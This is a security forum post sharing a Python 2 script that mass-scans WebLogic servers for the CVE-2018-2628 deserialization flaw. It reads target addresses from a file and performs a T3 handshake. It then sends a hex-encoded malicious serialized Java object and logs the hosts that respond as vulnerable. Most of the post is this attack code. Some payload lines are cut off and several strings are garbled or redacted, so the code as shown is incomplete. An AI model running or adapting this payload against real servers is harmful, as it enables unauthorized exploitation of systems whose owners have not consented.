登录

weblogic反序列化漏洞CVE-2018-2628-批量检测脚本

pt007 / 2018-04-19 11:54:04 / 浏览数 4779 安全技术 WEB安全 顶(0) 踩(0)

发出来给安全的兄弟们批量检测使用，运行时截图：


```
#coding=utf-8

import socket
import time
import re,os,sys,codecs

type = 'utf-8'
reload(sys)
sys.setdefaultencoding(type)
IpFile=file('./weblogic1.txt') #IP■■
fp= codecs.open("./weblogic1_success.txt","a") #■■■■■■■■■■■■■■■■■■■■■■■■
timeout=15


VUL=['CVE-2018-2628']
PAYLOAD=['aced0005737d00000001001d6a6176612e726d692e61637469766174696f6e2e416374697661746f72787200176a6176612e6c616e672e726566
VER_SIG=['\\$Proxy[0-9]+']

def t3handshake(sock,server_addr):
    print '\n[*]■■■■■■■■...'.decode(type)
    sock.connect(server_addr)
    sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
    time.sleep(1)
    sock.recv(1024)


def buildT3RequestObject(sock,port,server_addr):
    print '%s:%d■■■■■■■■■■■■...'.decode(type) %(server_addr[0],server_addr[1])
    data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720
    data2 = '007e00034c000e72656c656173656657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f41
    data3 = '1a7727000d3234322e323134'
    data4 = '2e312e32353461863d1d0000000078'
    for d in [data1,data2,data3,data4]:
        sock.send(d.decode('hex'))
    time.sleep(2)
    date = len(sock.recv(2048))
    print '■■■■■■■■■■■,■■■■:%d'.decode(type) %(date)
    return date

def sendEvilObjData(sock,data):
    print '■■■■payload■■■■...'.decode(type)
    payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f676963
    payload+=data
    payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c655365727696365436f6e74657874ddcba8706386f0b
    payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
```

```
    sock.send(payload.decode('hex'))
    time.sleep(2)
    sock.send(payload.decode('hex'))
    res = ''
    try:
        while True:
            res += sock.recv(4096)
            time.sleep(0.1)
    except Exception as e:
        pass
    return res

def checkVul(res,server_addr,index):
    print '[redacted]'.decode(type)
    p=re.findall(VER_SIG[index], res, re.S)
    if len(p)>0:
        info='%s:%d [redacted] %s [redacted].' %(server_addr[0],server_addr[1],VUL[index])
        info=info.decode(type)
        print info
        info=info+"\n"
        fp.write(info)
        fp.flush()
    else:
        print '%s:%d [redacted] %s [redacted]'.decode(type) % (server_addr[0],server_addr[1],VUL[index])


def check(host,port,index):
    dip=host
    global dport
    dport=port
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(timeout)
    server_addr = (dip, dport)
    try:
        t3handshake(sock,server_addr)
    except Exception as e:
        print '%s:%d[redacted]IP[redacted]...'.decode(type) %(server_addr[0],server_addr[1])
    else:
        try:
            dateout = buildT3RequestObject(sock,dport,server_addr)
            if dateout == 0:
                print '%s:%d [redacted] %s [redacted].'.decode(type) % (server_addr[0],server_addr[1],VUL[index])
            else:
                rs=sendEvilObjData(sock,PAYLOAD[index])
                # print 'rs',rs
                checkVul(rs,server_addr,index)
        except Exception as e:
            print '%s:%d[redacted]...'.decode(type) %(server_addr[0],server_addr[1])
    finally:
        sock.close()


if __name__=="__main__":
    ip_list = []

    print u'''
    ------------------------------------------------------------------------------------
        [redacted]weblogic[redacted] CVE-2018-2628 weblogic_poc-cve-2018-2628.py
        [redacted]pt007@vip.sina.com
        [redacted]
    \tweblogic1.txt[redacted]IP[redacted]:10.110.123.30:7001 [redacted]IP[redacted]!
    \tpython weblogic_poc-cve-2018-2628.py
    ------------------------------------------------------------------------------------\n'''
    ip_list=[]
    print "[*]weblogic url list:",
    while True:
        line = IpFile.readline()
        if len(line) == 0: # Zero length indicates EOF
            break
```

```
            #exit()
        line=line.strip()
        print line,
        ip_list.append(line)
    IpFile.close()
    print "\n"
    for i in ip_list:
        host,port=i.split(":")
        check(host,int(port),0)
    fp.close()
    print "[*]Test done,please type weblogic1_success.txt!\n"
```

点击收藏 | 4 关注 | 3

上一篇：PBot：一款基于Python的广告软件 下一篇：MYSQL新特性secure_fi...

1. 1 条回复

w**** 2018-05-07 14:08:47

这个check函数里第一个else是写错了吗？怎么前面没有if对应？

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板